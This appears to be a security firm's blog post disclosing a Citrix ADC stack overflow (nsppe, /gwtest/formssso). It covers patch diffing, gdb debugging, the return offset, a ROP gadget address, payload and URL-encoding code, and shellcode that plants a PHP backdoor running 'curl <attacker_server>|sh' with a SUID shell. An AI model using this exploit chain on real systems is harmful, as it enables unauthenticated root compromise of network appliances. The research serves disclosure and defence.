Background

On July 18, Citrix announced a critical remote code execution vulnerability in Citrix ADC which had been observed being exploited in the wild. Researchers very quickly identified that the vulnerability was most likely present in the NetScaler Packet Parsing Engine, nsppe, but the vulnerability was initially thought to be a complicated heap-based bug which required SAML to be enabled.

Bishop Fox analyzed the patches in parallel with other researchers and identified a separate, simpler vulnerability, which we demonstrated in a blog post on July 21. At the time, we did not release a full proof-of-concept due to the number of unpatched devices on the internet. However, at this point customers have had two weeks to patch and Rapid7 has released a full exploit, and there are reports of mass exploitation (rather than only targeted exploitation), so we are releasing our analysis of the vulnerability.

Patch Analysis and Static Analysis

We started out by downloading and diffing the nsppe binaries for Citrix VPX 13.1-48.47 and 13.1-49.13 using Ghidra, BinExport, and BinDiff. Based on function names alone, we could see that most changed functions were related to crypto routines and AAA functionality.

FIGURE 1 - BinDiff output showing a list of changed functions

Based on the advisory from Citrix, we assumed that the bug was probably in the AAA-related functions, which start with ns_aaa_. This reduced the number of changed functions from around forty down to seven. Four of these functions had names such as ns_aaa_saml_parse_* and examining the differences in more detail showed promise. As it turns out, this vulnerability was addressed by Rapid7 in an AttackerKB article and a blog post by Assetnote. While we saw the added length checks mentioned in those posts, we decided to continue looking at the three remaining AAA functions that had changed just to be complete. This led us to the ns_aaa_gwtest_get_event_and_target_names function, which had a new length check that was added before URL-decoding some data into a buffer.

FIGURE 2 - BinDiff function graph showing that a new check has been added, comparing some value against 0x7f

This seemed like it would be simpler to exploit than any potential SAML-related vulnerabilities, so after finding nothing of interest in the other two changed AAA functions, we decided to start with this vulnerability. After spending some time in Ghidra, we determined that:

• The buffer being written to is 0x80 bytes and allocated on the stack by ns_gwtest_get_valid_fsso_server
• There are no stack cookies and ASLR is not enabled, so a simple linear stack overflow without any information leak would be feasible
• The function can be reached by a GET request to /gwtest/formssso?
• The specific code segment can be reached if we set the parameters event=start&target=foo

Dynamic Analysis

At this point, we pulled out the debugger and immediately ran into the same problems that Rapid7 identified: the nsppe process handles networking and is monitored by the pitboss watchdog, so halting it results in our SSH session dropping and pitboss triggering a reboot. Rapid7 worked around these issues by disabling pitboss monitoring for nsppe with the shell command nsppe-00 pbmonitor 0 and using the console for debugging. We worked around this issue in a less convenient way by adding our commands to a gdb script and logging to a file, so we could inspect output in case we trigger a reboot.

We started by validating that we could reach the target function and code segment using the following gdb script:

set pagination off
set logging file /nsconfig/gdb.log
set logging on 
b *ns_aaa_gwtest_get_event_and_target_names
commands 
  c
end

b *0xc82e4f
commands
  c
end 
c

We then attached gdb to the nsppe process, passing the path to the gdb script with the -x flag. Since the script immediately continues after setting up breakpoints, and immediately continues after hitting breakpoints, we can debug without triggering the watchdog.

Exploitation

Now that we had a crash, the next step was to determine the offset of the return pointer. We did this by sending 0x80 A’s followed by 0x80 alphabetic characters, and replacing the breakpoints in our gdb script with the following:

define hook-stop
  i r
  x/16gx $rsp-0x40 
  c
end

This dumps the registers and the stack whenever the program crashes so we can inspect the output. After running this, we observed RIP was overwritten by the data that was placed at offset 0xa8.

The next step is to decide what to jump to. We noticed that the stack was executable, and since ASLR was disabled, we could have simply jumped directly into the stack. However, to make it easier to adapt the payload to other versions we opted for a ROP gadget which jumps to the stack instead. We found a push rsp; ret; gadget at 0x2778c04. We added a jump instruction immediately after the saved return address to jump to the start of the buffer and then placed an int 3 instruction at the start of the buffer. At this point, the payload looks like:

payload =b'\xcc' + b'A'*0xa7 # "shellcode" 
payload+= struct.pack("<Q", 0x2778c04) # &(push rsp; ret;) 
payload+= b'\xe9\xb5\x00\x00\x00' # jmp to start of shellcode 

Since this address includes null bytes and values outside of the normal ASCII range, we had to URL-encode the data. Unfortunately, the URL-decoding function used by the vulnerable function does not handle certain data correctly, so before we could send the payload, we had to implement URL-encoding. Specifically, the URL-decoding function only properly handles encoded data below 0xa0. Luckily, invalid characters above 0x9f will be left untouched, so we can still simply not escape these characters.

def url_encode(data):
       out=b''
       for i in data:
           if i>0x9f: out+=bytes([i])
           else: out+='%{:02x}'.format(i).encode()
       return out

This function URL-encodes all bytes below 0xa0, and leaves anything else unmodified.

Once this was complete, we sent our payload and observed that the program encountered a SIGTRAP, confirming that we hit the int 3 instructions at the start of our buffer. At this point, the next step was to create shellcode.

Shellcode and avoiding a crash

Our initial attempt at shellcode simply loaded a string and jumped to the address of system(). Unfortunately, this turned out to be unreliable for some unknown reason. Due to our less-than-ideal debugging setup, we decided to hand-write some shellcode.

Our shellcode writes a backdoor to /var/netscaler/logon/a.php and sets the SUID bit on /bin/sh so the payload can run as root. The backdoor is a compact PHP payload which runs curl <attacker_server>|sh and returns the output in the HTTP response, which allows us to easily deploy payloads without the risk of leaving an unauthenticated PHP shell exposed to the internet. After some modest size optimizations, we were able to fit this into the 0x80-byte buffer.

We added this shellcode to the exploit script, and after a crash and reboot, we observed that we could send a request to /logon/a.php and run a payload hosted on our hardcoded attacker HTTP server.

The final step was to avoid crashing the program. We observe that if ns_aaa_gwtest_get_valid_fsso_server returns 0, the calling function immediately returns as well.

We also observed that the set of callee-saved in this function is a superset of the callee-saved registers saved by ns_aaa_gwtest_get_valid_fsso_server. As a result, if we jump directly into this if statement, any callee-saved registers that we may have clobbered will be safely restored if we ensure the stack pointer is correct when we jump to this code. After double checking our math for the stack pointer, we added push 0xc7f78d; ret; to the shellcode and re-ran the exploit. Our payload ran, nsppe didn’t crash, and we were able to get a callback.

We created a python script for generating shellcode given the fixup address and callback URL by calling nasm from Python. The final exploit with addresses for VPX version 13.1-48.47 is available on our GitHub.

Final notes

The complete lack of exploit mitigations made this vulnerability extremely easy to exploit on VPX builds. For comparison, we were unable to exploit the CPX (containerized) builds of nsppe due to presence of a stack canary immediately following the buffer that we were overflowing. This follows the trend of missing exploit mitigations that we have observed in many networking appliances, including but not limited to PAN-OS and FortiGate. We hope that vendors will take note of the importance of enabling basic compile-time exploit mitigations, as they can make exploitation of many common bugs difficult or impossible while imposing minimal performance penalties.

Subscribe to Bishop Fox's Security Blog

Be first to learn about latest tools, advisories, and findings.